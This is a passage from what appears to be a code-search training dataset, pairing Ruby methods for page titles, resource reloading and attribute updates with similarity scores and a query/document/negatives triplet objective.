"def title(page_title = '')\n\t\tbase_title = \"AB Online Shop\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\tpage_title + \" | \" + base_title\n\t\tend\n\tend",
"def get_title\n base_title = get_name_or_logo\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end",
"def title\n base_title = \"An Andy Sharkey Production\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def title_raw\n conf['title'] || proj.title\n end",
"def name() title; end",
"def name() title; end",
"def get_title(page)\n page.css(WebScraper::JOB_INFO_SELECTOR)[WebScraper::JOB_TITLE_POS].content.strip\n end",
"def title\n @title ||= parsed_document.css('title').inner_text rescue nil\n end",
"def default_base_title\n Rails.application.class.to_s.split('::').first\n end",
"def base_title(page_title = '')\n base_title = \"Sergio Mironescu\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def title\n base_title = \"Digital Library Management Tool\"\n if @title.nil?\n base_title\n else\n \"#{base_title}|#{@title}\"\n end\n end",
"def title\n base_title = \"Reseau Social ESMT\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def title\n @basename.wikify\n end",
"def title\n return @title unless link\n\n # handle the most common cases next\n return \"#{@title}. \" unless @title.ends_with?('. ', '.')\n return \"#{@title} \" if @title.ends_with?('.')\n\n @title\n end",
"def full_title(page_title)\n base_title = \"Rails Project\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def normalized_title\n t = self.title.presence || default_title\n t.gsub('.', '').strip\n end",
"def get_title\n title = []\n # Exceptions\n prefix_title = if controller_name == \"events\" && action_name == \"show\" && @event.present?\n t('titles.events.show', :name => @event.name, :city => @event.city_name)\n elsif controller_name == \"users\" && action_name == \"show\" && @user.present?\n t('titles.users.show', :name => @user.print_name)\n end\n if prefix_title.blank? || prefix_title.match(/translation_missing/)\n # Just translate the controller and action if it exists in the language file\n prefix_title = t(\"titles.#{controller_name}.#{action_name}\")\n prefix_title = (prefix_title.match(/translation_missing/)) ? nil : prefix_title\n end\n # If add the prefix and suffix in title if there isnt a translation missing\n if prefix_title.present? && !prefix_title.match(/translation_missing/)\n title << prefix_title\n title << t('titles.suffix')\n else\n # Use the default title\n title << t('titles.default_title')\n end\n # We put the controller name and action name in the title if we are in development. Just handy.\n if Rails.env == \"development\"\n title << \"#{controller_name}##{action_name}\"\n end\n # Generate the title\n strip_tags(title.join(\" - \"))\n end",
"def full_title(page_title)\n base_title = \"Proman 2013\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def title_name; end",
"def name\n\t\t\t\t@name ||= title.downcase.gsub(/\\s+/, UNDERSCORE).gsub(/[^a-z0-9_]/i, BLANK_STRING).to_sym\n\t\t\tend",
"def full_title(page_title)\n base_title = \"Scirate\"\n if page_title.empty?\n base_title\n else\n sanitize(\"#{base_title} | #{page_title}\")\n end\n end"
] |
[
"0.7177819",
"0.7131366",
"0.7009197",
"0.6828252",
"0.67070055",
"0.6662788",
"0.6635699",
"0.6635699",
"0.66295415",
"0.66295415",
"0.66295415",
"0.6619277",
"0.66007614",
"0.65762657",
"0.6528285",
"0.6527893",
"0.65239954",
"0.6505406",
"0.6485819",
"0.64676964",
"0.64589",
"0.6447201",
"0.64434165",
"0.6441679",
"0.6439716",
"0.6438569",
"0.6437455",
"0.6414243",
"0.64086443",
"0.6393762",
"0.6393762",
"0.6393762",
"0.6389715",
"0.63837343",
"0.63771635",
"0.63764876",
"0.63683873",
"0.6356773",
"0.63207126",
"0.6314652",
"0.6312342",
"0.63060975",
"0.63050497",
"0.63041574",
"0.6302867",
"0.6280548",
"0.62762845",
"0.62715465",
"0.6266248",
"0.62656564",
"0.62645936",
"0.6263699",
"0.62615705",
"0.62598455",
"0.6253883",
"0.62523776",
"0.62502897",
"0.6243757",
"0.62412286",
"0.6239972",
"0.6227397",
"0.6222563",
"0.6214518",
"0.6211554",
"0.6202554",
"0.61909235",
"0.61867636",
"0.6185713",
"0.6184255",
"0.61728966",
"0.61683226",
"0.61621934",
"0.61607796",
"0.6159434",
"0.6157944",
"0.6156085",
"0.61548454",
"0.6153341",
"0.61440873",
"0.6142732",
"0.6139427",
"0.613921",
"0.6132606",
"0.6126525",
"0.6124403",
"0.6124403",
"0.6123384",
"0.6120867",
"0.6117374",
"0.6117088",
"0.6116261",
"0.61145335",
"0.61081165",
"0.6107734",
"0.6101645",
"0.60999215",
"0.6095646",
"0.609539",
"0.60923034",
"0.60877484",
"0.60868156"
] |
0.0
|
-1
|
For command=reload, use this content instead.
|
def content(value)
merge(content: value.to_s)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def reload\n end",
"def reload\n end",
"def reload\n end",
"def reload\n end",
"def reload\n end",
"def reload\n end",
"def reload\n end",
"def reload\n end",
"def reload\n end",
"def reload\n end",
"def reload!\n end",
"def reload!; end",
"def reload!; end",
"def reload!; end",
"def reload!; end",
"def reload\n\t\tself.request( :reload )\n\tend",
"def reload;end",
"def reload\n do_url 'reload', :put\n end",
"def reload!\n load force: true\n end",
"def reload\n get\n end",
"def reload\n restart\n end",
"def reload!\n @data = reload.raw\n self\n end",
"def reload\n raise 'not implemented'\n end",
"def reload!\n begin\n #TODO not implemented 2007/04/09 by shino\n raise \"not yet implemented!\"\n end\n end",
"def reload!\n begin\n #TODO not implemented 2007/04/09 by shino\n raise \"not yet implemented!\"\n end\n end",
"def reload!\n begin\n #TODO not implemented 2007/04/09 by shino\n raise \"not yet implemented!\"\n end\n end",
"def reload!\n begin\n #TODO not implemented 2007/04/09 by shino\n raise \"not yet implemented!\"\n end\n end",
"def reload _args\n \"reload _args;\" \n end",
"def reload\n self\n end",
"def reload\n refresh\n end",
"def reload\n refresh\n end",
"def local_reload(body)\n load_command_methods()\n _notice \"command methods reloaded\", :notice\nend",
"def reload\n jammit\n end",
"def reload\n true\n end",
"def reload\n true\n end",
"def reload\n restart_and_ping\n end",
"def refresh\r\n command 'refresh'\r\n end",
"def refresh\r\n command 'refresh'\r\n end",
"def reload\n @reloaded = true\n restart\n end",
"def reload\n load @filename\n end",
"def reload\n load_from_response(perform(:get))\n end",
"def reload\n load_from_response(perform(:get))\n end",
"def refresh\n load if changed?\n end",
"def refresh!\n load if changed?\n end",
"def reload\n load __FILE__\nend",
"def reload\n stop\n start\n end",
"def needReload _args\n \"needReload _args;\" \n end",
"def reload!\n @reloader.reload! if @reloader\n end",
"def action_reload\n proxy_action(:reload)\n end",
"def reload!\n unload!\n versions\n get_json\n get_map\n last_updated\n third_party_links\n mappings\n end",
"def refresh\n send_cmd \"refresh\"\n nil\n end",
"def reload_builder path\n load __FILE__\n end",
"def reload_haproxy\n info \"Reloading haproxy: '#{@reload_cmd}'\"\n\n if @pretend\n @pretend_reloads += 1\n else\n info `#{@reload_cmd}`\n end\n end",
"def reload(*)\n super.tap do\n clear_changes_information\n end\n end",
"def reload(*)\n super.tap do\n clear_changes_information\n end\n end",
"def reload\n return interpreter.service_manager.tell(self.service, \"force-reload\")\n end",
"def reload\n run \"touch #{current_path}/rack/tmp/restart.txt\"\n end",
"def refresh!; end",
"def reload!\n require 'pathname'\n Pathname.new(File.expand_path(__FILE__)).parent.find do |path|\n if path.extname == '.rb' and path.mtime > reload_time\n puts path.to_s\n load path.to_s\n end\n end\n clear_plugin_cache\n @reload_time = Time.now\n end",
"def reload\n current_options = executed_requests['GET']['options'] rescue {}\n stale!\n self.load(current_options.merge(:reload => true))\n end",
"def with_reloading &block\n Cove::Ext.use_reload\n block.call\n ensure\n Cove::Ext.use_require\n end",
"def reload\n @view = nil\n end",
"def reload\n Howitzer::Log.info \"Reload '#{current_url}'\"\n visit current_url\n end",
"def refresh\n command(\"Page.reload\", wait: timeout, slowmoable: true)\n end",
"def action_reload\n return if options['never_reload']\n if running?\n converge_by(\"reload service #{new_resource}\") do\n Process.kill(new_resource.reload_signal, pid)\n Chef::Log.info(\"#{new_resource} reloaded\")\n end\n end\n end",
"def reloads\n load_page\n end",
"def reload!\n fetch_data!\n end",
"def reload\n reset\n fetch\n end",
"def reload\n reset\n fetch\n end",
"def reloader; end",
"def reloader; end",
"def js_reload\n riak_admin 'js_reload'\n end",
"def reload!\n reload_name!\n reload_topic!\n reload_aliases!\n true\n end",
"def reload_templates(reload = nil)\n @reload_templates = reload unless reload == nil\n @reload_templates\n end",
"def refresh()\r\n #set_browser_document()\r\n $jssh_socket.send(\"#{BROWSER_VAR}.reload();\\n\", 0)\r\n read_socket();\r\n wait()\r\n end",
"def force_reload_reader\n reload(true)\n target\n end",
"def reload(obj)\n\t\t# (each time a Snippet is reloaded, the class ID will change)\n\t\t\n\t\t# NOTE: Sometimes this replaces working code with broken code.\n\t\t# That's fine. Always want what's current, even if it's broken.\n\t\t\n\t\t# ASSUME: Only one class definition per file.\n\t\t# ^ This check is enforced above, after loading new files.\n\t\t\n\t\t\n\t\tputs \"Reloading Snippet defined in: #{@file}\"\n\t\tprint \" \"\n\t\tunload(kill:false)\n\t\tprint \" \"\n\t\tload(obj)\n\t\t\n\t\t# Snippets need to be anonymous, because that allows all contained\n\t\t# constants to easily be thrown away (GCed) when new versions are loaded.\n\t\t# The Object.new -> metaclass style allows both contained constants,\n\t\t# and contaned Class declarations to be completely swept away on reload.\n\t\t\n\t\t# (TODO: source the sinatra live reload article, and my personal experiments with constant binding)\n\t\t\n\t\t\n\t\t# NOTE: Now that @file and @save_directory are being saved on the DynamicObject wrapper class, instead of on the callback instance, you likely don't have to copy the value of @save_directory from the old instance. This means that #reload and #load are exactly the same.\n\t\t\n\t\t\n\t\t# TODO: document that methods like #bind, which are not part of the method contract passed to the wrapper object, are nontheless still a part of the required interface for the wrapped object.\n\t\t# (the method #bind in particular may not longer be relevant, but this general idea still applies)\n\t\t\n\tend",
"def reload\n self.edits.clear\n end",
"def refresh; end",
"def reload\n self.data = self.class.load_data\n self\n end",
"def reload\n get_eval(\"selenium.browserbot.getCurrentWindow().location.reload()\")\n end",
"def reload(request, response)\n @roundhouse.load(@cfg)\n give_X(response, 200, \"text/plain\", \"Reloading..\")\n end",
"def reload; @data = File.read @path end",
"def reload!\n Padrino.before_load.each(&:call) # Run before hooks\n Padrino::Reloader.reload! # detects the modified files\n Padrino.after_load.each(&:call) # Run after hooks\n end",
"def reload\n reload_msg = '# Reloading the console...'\n puts CodeRay.scan(reload_msg, :ruby).term\n Pry.save_history\n exec('rake console')\n end",
"def reload\n self.class._load(@buf)\n end",
"def reload\n @ignored = nil\n ignored\n end",
"def reload!\n Merb::BootLoader::ReloadClasses.reload\n end",
"def reload!\n Merb::BootLoader::ReloadClasses.reload\n end",
"def enableReload _obj, _args\n \"_obj enableReload _args;\" \n end",
"def action_reload\n return if options['never_reload']\n if !upstart_features[:reload_signal] && new_resource.reload_signal != 'HUP'\n if options[:reload_shim]\n Process.kill(new_resource.reload_signal, pid)\n else\n check_reload_signal!\n end\n else\n super\n end\n end",
"def reload_status\n get(\"reload\")\n end",
"def reload_data\n self.class.new reinit_endpoint.do_get\n end",
"def reload\n resp = api_client.get(url)\n refresh(JSON.load(resp.body))\n end",
"def refresh\n # FIXME\n end",
"def refresh\n end",
"def reload\n clear_memoizations!\n perform_reload\n self\n end",
"def reload!\n @configuration = nil\n load\n self\n end",
"def content!\n @raw = nil # force to reload it\n self.content\n end",
"def reload!(path)\n unload! path\n load! path if File.file?(path) # condition to avoid errors when a file is removed or renamed...\n end",
"def refresh\r\n end"
] |
[
"0.74659634",
"0.74659634",
"0.74659634",
"0.74659634",
"0.74659634",
"0.74659634",
"0.74659634",
"0.74393815",
"0.7382791",
"0.7382791",
"0.73368615",
"0.7273408",
"0.7273408",
"0.7273408",
"0.7273408",
"0.71877396",
"0.71826667",
"0.71385115",
"0.71339977",
"0.7073057",
"0.7036447",
"0.69785726",
"0.69773364",
"0.69613206",
"0.69613206",
"0.69613206",
"0.69613206",
"0.6958389",
"0.6956487",
"0.6949551",
"0.6949551",
"0.69175166",
"0.68807155",
"0.6874515",
"0.6874515",
"0.6859989",
"0.6858336",
"0.6858336",
"0.67091024",
"0.668005",
"0.6649196",
"0.6649196",
"0.6636473",
"0.66309845",
"0.660665",
"0.65419817",
"0.65329075",
"0.65201813",
"0.65060824",
"0.64793897",
"0.64663994",
"0.6462183",
"0.6453972",
"0.6444866",
"0.6441473",
"0.641125",
"0.6379764",
"0.6373138",
"0.63605165",
"0.6344745",
"0.632918",
"0.63197255",
"0.62804466",
"0.6270457",
"0.62540275",
"0.6251353",
"0.6227693",
"0.6225693",
"0.6225693",
"0.6222244",
"0.6222244",
"0.622201",
"0.6208836",
"0.62053037",
"0.6202638",
"0.6200974",
"0.61972344",
"0.61966693",
"0.619565",
"0.6187451",
"0.61854935",
"0.6172795",
"0.61682564",
"0.61578006",
"0.61159587",
"0.6102763",
"0.60967636",
"0.6095486",
"0.6095486",
"0.60877234",
"0.60867137",
"0.60848033",
"0.60758454",
"0.6075271",
"0.6073842",
"0.60702264",
"0.6068144",
"0.60595846",
"0.60552746",
"0.6053894",
"0.60516566"
] |
0.0
|
-1
|
Alter the information recieved from the resource
|
def initialize(input_file)
super(input_file)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_resource(resource_desc, resource_type, authorizer, new_attributes)\n debug \"update_resource: resource_descr: #{resource_desc}, type: #{resource_type}, new_attrs: #{new_attributes}\"\n raise 'Method not implemented because the Central Manager just need to pass the same requisition to the other' \\\n ' brokers and create the concatenated results'\n end",
"def update\n super\n response.status = :unprocessable_entity if resource&.errors&.any?\n end",
"def edit_resource(type, id, data)\n bad_attrs = data_includes_invalid_attrs(data)\n\n if bad_attrs.present?\n msg = \"Attribute(s) '#{bad_attrs}' should not be specified for updating a server resource\"\n raise BadRequestError, msg\n end\n\n super\n end",
"def edit_resource_content\n resource_content\n end",
"def modify( attributes )\n\t\tattributes = stringify_keys( attributes )\n\n\t\tsuper\n\n\t\tself.uri( attributes['uri'] )\n\t\tself.http_method( attributes['http_method'] )\n\t\tself.http_version( attributes['http_version'] )\n\t\tself.expected_status( attributes['expected_status'] )\n\t\tself.body( attributes['body'] )\n\t\tself.body_mimetype( attributes['body_mimetype'] )\n\tend",
"def update_resource object, attributes\n object.update attributes\n end",
"def update!(**args)\n @request_id = args[:request_id] if args.key?(:request_id)\n @resource_info = args[:resource_info] if args.key?(:resource_info)\n @validate_only = args[:validate_only] if args.key?(:validate_only)\n end",
"def update!(**args)\n @resource_id = args[:resource_id] if args.key?(:resource_id)\n @resource_type = args[:resource_type] if args.key?(:resource_type)\n end",
"def resource_update\n @new_name = @data.delete('new_name')\n @item = @resource_type.new(@client, @data)\n return false unless @item.retrieve!\n parse_new_name\n if @item.like?(@data)\n Puppet.notice \"#{@resource_type} #{@data['name']} is up to date.\"\n else\n Puppet.notice \"#{@resource_type} #{@data['name']} differs from resource in appliance.\"\n Puppet.debug \"Current attributes: #{JSON.pretty_generate(@item.data)}\"\n Puppet.debug \"Desired attributes: #{JSON.pretty_generate(@data)}\"\n @item.update(@data)\n @property_hash[:data] = @item.data\n end\n true\nend",
"def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n @resource_id = args[:resource_id] if args.key?(:resource_id)\n @resource_type = args[:resource_type] if args.key?(:resource_type)\n end",
"def update\n @resource_info = ResourceInfo.find(params[:id])\n\n respond_to do |format|\n if @resource_info.update_attributes(params[:resource_info])\n format.html { redirect_to @resource_info, notice: 'Resource info was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_resource(resource, attributes)\n resource.attributes = attributes\n resource.save\n resource\n end",
"def set_collected_properties\n set_resource_id()\n set_resource_ip_address()\n set_resource_dns_name()\n end",
"def update\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n @resource.eval_description\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { head :no_content }\n else\n get_resource_types\n format.html { render action: :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @name = args[:name] if args.key?(:name)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @status = args[:status] if args.key?(:status)\n @text_label = args[:text_label] if args.key?(:text_label)\n end",
"def update!(**args)\n @resource_type = args[:resource_type] if args.key?(:resource_type)\n @resource_url = args[:resource_url] if args.key?(:resource_url)\n end",
"def update!(**args)\n @resource_type = args[:resource_type] if args.key?(:resource_type)\n @resource_url = args[:resource_url] if args.key?(:resource_url)\n end",
"def update_changed_resource(resource, response)\n resource.last_modified_hash = response.response.hash\n resource.last_updated = Time.now\n resource.body = response.response\n resource.save\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @name = args[:name] if args.key?(:name)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @type = args[:type] if args.key?(:type)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update\n @resource = Resource.find(params[:id])\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.html { redirect_to(edit_admin_resource_path(@resource), :notice => 'Resource was successfully updated.') }\n format.xml { head :ok }\n else\n get_resource_info\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def process_metadata\n if @response\n self.resource.metadata[:http_version] = @response.http_version\n self.resource.metadata[:status] = @response.status\n self.resource.metadata[:reason] = @response.reason\n self.resource.metadata[:headers] = @response.headers\n end\n end",
"def update\n @resource = Resource.find(params[:id])\n\n @resource.assetable_id = 1\n @resource.assetable_type = 'User'\n\n if image_types.include? params[:resource][:data].content_type\n @resource.type = 'Ckeditor::Picture'\n else\n @resource.type = 'Ckeditor::AttachmentFile'\n end\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.html { redirect_to admin_resources_path, notice: 'Resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def update(context)\n context.request.body.rewind # in case someone already read it\n\n begin\n data = JSON.parse(context.request.body.read)\n rescue JSON::ParserError\n context.halt(406, { status: 'error', message: 'Not acceptable JSON payload' }.to_json)\n end\n\n set_resource(context)\n\n begin\n permitted_params = resource_fields.map { |k| k[:name] }\n permitted_params = data.select { |k, _| permitted_params.include?(k) }\n\n if instance_variable_get(:\"@#{resource_name}\").update_attributes(permitted_params)\n instance_variable_get(:\"@#{resource_name}\").reload\n instance_variable_get(:\"@#{resource_name}\").to_json\n else\n errors = instance_variable_get(:\"@#{resource_name}\").errors.map { |k, v| \"#{k}: #{v}\" }.join('; ')\n context.halt(406, { status: 'error', message: errors }.to_json)\n end\n rescue StandardError => e\n context.halt(500, { status: 'error', message: e.message }.to_json)\n end\n end",
"def update!(**args)\n @error = args[:error] if args.key?(:error)\n @resource = args[:resource] if args.key?(:resource)\n end",
"def update\n @online_resource = OnlineResource.find(params[:id])\n\n respond_to do |format|\n if @online_resource.update_attributes(params.require(:online_resource).permit(:recording_note, :resource_type_id,\n :taken_on, :capture_device_model_id, :quality_type_id, :private_note, web_address_attributes: [:parent_resource_id, :url]))\n format.html { redirect_to @online_resource, :notice => 'Online resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @online_resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(resource,identifier,json)\n raise 'Not Yet Implemented'\n end",
"def update\n if @resource.update(resource_params)\n flash[:notice] = notification_message('edit_success')\n render json: { redirect_url: request.referrer }, status: :created\n else\n render json: { message: notification_message('edit_failure') }, status: :unprocessable_entity\n end\n end",
"def update_a_resource(resource_descr, type_to_create, authorizer)\n debug \"update_a_resource: resource_descr: #{resource_descr}, type_to_create: #{type_to_create}\"\n raise 'Method not implemented because the Central Manager just need to pass the same requisition to the other' \\\n ' brokers and create the concatenated results'\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @resource = args[:resource] if args.key?(:resource)\n @status = args[:status] if args.key?(:status)\n @sub = args[:sub] if args.key?(:sub)\n @time = args[:time] if args.key?(:time)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @uri = args[:uri] if args.key?(:uri)\n end",
"def update_with_evernote_data(cloud_resource, caption, description, credit)\n update_attributes!(\n altitude: cloud_resource.attributes.altitude,\n attachment: cloud_resource.attributes.attachment,\n camera_make: cloud_resource.attributes.cameraMake,\n camera_model: cloud_resource.attributes.cameraModel,\n caption: caption,\n credit: credit,\n data_hash: cloud_resource.data.bodyHash,\n description: description,\n dirty: true,\n external_updated_at: cloud_resource.attributes.timestamp ? Time.at(cloud_resource.attributes.timestamp / 1000).to_datetime : nil,\n file_name: cloud_resource.attributes.fileName,\n height: cloud_resource.height,\n latitude: cloud_resource.attributes.latitude,\n local_file_name: cloud_resource.guid,\n longitude: cloud_resource.attributes.longitude,\n mime: cloud_resource.mime,\n source_url: cloud_resource.attributes.sourceURL,\n width: cloud_resource.width\n )\n SyncResourceJob.perform_later(self) if cloud_resource.data.bodyHash != data_hash\n end",
"def update\n respond_to do |format|\n if @resource.update(resource_params)\n @resource.saved_by(current_admin)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def base_update(resource, id, options, format = nil, headers = nil)\n headers ||= {}\n headers[:accept] = \"#{format}\" if format\n format ||= @default_format\n headers[:content_type] = \"#{format}\"\n headers[:prefer] = @return_preference if @use_return_preference\n options = {} if options.nil?\n options[:resource] = resource.class\n options[:format] = format\n options[:id] = id\n reply = put resource_url(options), resource, fhir_headers(headers)\n reply.resource = parse_reply(resource.class, format, reply) if reply.body.present?\n reply.resource_class = resource.class\n reply\n end",
"def update!(**args)\n @resource_id = args[:resource_id] if args.key?(:resource_id)\n end",
"def update!(**args)\n @granted = args[:granted] if args.key?(:granted)\n @permission = args[:permission] if args.key?(:permission)\n @resource = args[:resource] if args.key?(:resource)\n @resource_attributes = args[:resource_attributes] if args.key?(:resource_attributes)\n end",
"def update!(**args)\n @description = args[:description] if args.key?(:description)\n @field_actions = args[:field_actions] if args.key?(:field_actions)\n @resource_filter = args[:resource_filter] if args.key?(:resource_filter)\n end",
"def edit\n\n @resource = Resource.find(params[:id])\n @resource.type = 'Resource'\n @type = 'file' if params[:type] == 'file'\n\n end",
"def set_resource(kind, results, name, resource)\n if results[kind][name]\n results[kind][name][:properties] += resource[:properties]\n results[kind][name][:properties].uniq!\n results[kind][name][:diffs] += resource[:diffs]\n results[kind][name][:diffs].uniq!\n else\n results[kind][name] = resource\n end\n end",
"def update\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource.host, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource.host }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def resource=(new_resource)\n @resource = @resource.merge(new_resource)\n end",
"def update!(**args)\n @full_resource_name = args[:full_resource_name] if args.key?(:full_resource_name)\n @permission = args[:permission] if args.key?(:permission)\n @principal = args[:principal] if args.key?(:principal)\n end",
"def update!(**args)\n @full_resource_name = args[:full_resource_name] if args.key?(:full_resource_name)\n @permission = args[:permission] if args.key?(:permission)\n @principal = args[:principal] if args.key?(:principal)\n end",
"def update!(**args)\n @resource_container = args[:resource_container] if args.key?(:resource_container)\n @resource_location = args[:resource_location] if args.key?(:resource_location)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update_resource(object, attributes)\n object.update(*attributes)\n end",
"def update!(**args)\n @resource = args[:resource] if args.key?(:resource)\n @service = args[:service] if args.key?(:service)\n @source_entry = args[:source_entry] if args.key?(:source_entry)\n @storage_properties = args[:storage_properties] if args.key?(:storage_properties)\n end",
"def update!(**args)\n @asset = args[:asset] if args.key?(:asset)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @status = args[:status] if args.key?(:status)\n end",
"def updated_data; end",
"def update\n respond_to do |format|\n if @temp_resource.update(temp_resource_params)\n format.html { redirect_to @temp_resource, notice: 'Temp resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @temp_resource }\n else\n format.html { render :edit }\n format.json { render json: @temp_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @bid_modifier = args[:bid_modifier] if args.key?(:bid_modifier)\n @device = args[:device] if args.key?(:device)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update_resource(resource_desc, resource_type, authorizer, new_attributes)\n resource = find_resource(resource_desc, resource_type, authorizer)\n authorizer.can_modify_resource?(resource, resource_type)\n resource.update(new_attributes)\n resource\n end",
"def update!(**args)\n @resource_type = args[:resource_type] if args.key?(:resource_type)\n @service = args[:service] if args.key?(:service)\n @version = args[:version] if args.key?(:version)\n end",
"def edit\n respond_with(resource)\n end",
"def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n @linked_resource = args[:linked_resource] if args.key?(:linked_resource)\n @location = args[:location] if args.key?(:location)\n @type = args[:type] if args.key?(:type)\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @screen_id = args[:screen_id] if args.key?(:screen_id)\n end",
"def modify\n debug(\"#{self.class}::modify\")\n\n\n #Retrieval of key\n if ((defined? $key) && !(($key.nil?) || ($key.empty?)))\n Puppet.debug('INFO: key already provided as a command parameter ' + $key)\n\n elsif (!($name.to_s.empty?) )\n\n #Retrieve key\n uriAttributeMap1 = {}\n uriAttributeMap1[:name] = $name\n resourceType = \"storage-service-levels\"\n $key = self.retrieveKeyOfObjectType('/api/1.0/slo/storage-service-levels', resourceType, uriAttributeMap1)\n end\n apiUri = '/api/1.0/slo/storage-service-levels/'+$key\n\n\n\n @payload = {}\n if !($description.to_s.empty?)\n @payload[:description] = $description\n end\n if !($peak_latency.to_s.empty?)\n @payload[:peak_latency] = $peak_latency\n end\n if !($peak_iops_per_tb.to_s.empty?)\n @payload[:peak_iops_per_tb] = $peak_iops_per_tb\n end\n if !($expected_iops_per_tb.to_s.empty?)\n @payload[:expected_iops_per_tb] = $expected_iops_per_tb\n end\n resourceType = \"storageservicelevel\"\n\n if(transport.http_put_request(apiUri , @payload.to_json , resourceType))\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully modified\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully modified\"\n end\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully modified\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully modified\"\n end\n else\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} modification failed\"\n\t\t else\n\t\t puts \" #{resourceType} modification failed\"\n end\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} modification failed\"\n\t\t else\n\t\t puts \" #{resourceType} modification failed\"\n end\n end\n\n end",
"def update!(**args)\n @errors = args[:errors] if args.key?(:errors)\n @kind = args[:kind] if args.key?(:kind)\n @resource = args[:resource] if args.key?(:resource)\n @status = args[:status] if args.key?(:status)\n end",
"def update\n @resource = Resource.find(params[:id])\n \n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n flash[:notice] = 'Resource was successfully updated.'\n format.html { redirect_to(@resource) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_original_value(resource, original)\n original_attributes = resource.original_attributes\n original = self.value(original)\n\n if original_attributes.key?(self)\n # stop tracking the value if it has not changed\n original_attributes.delete(self) if original == original_attributes[self] && resource.saved?\n else\n original_attributes[self] = original\n end\n end",
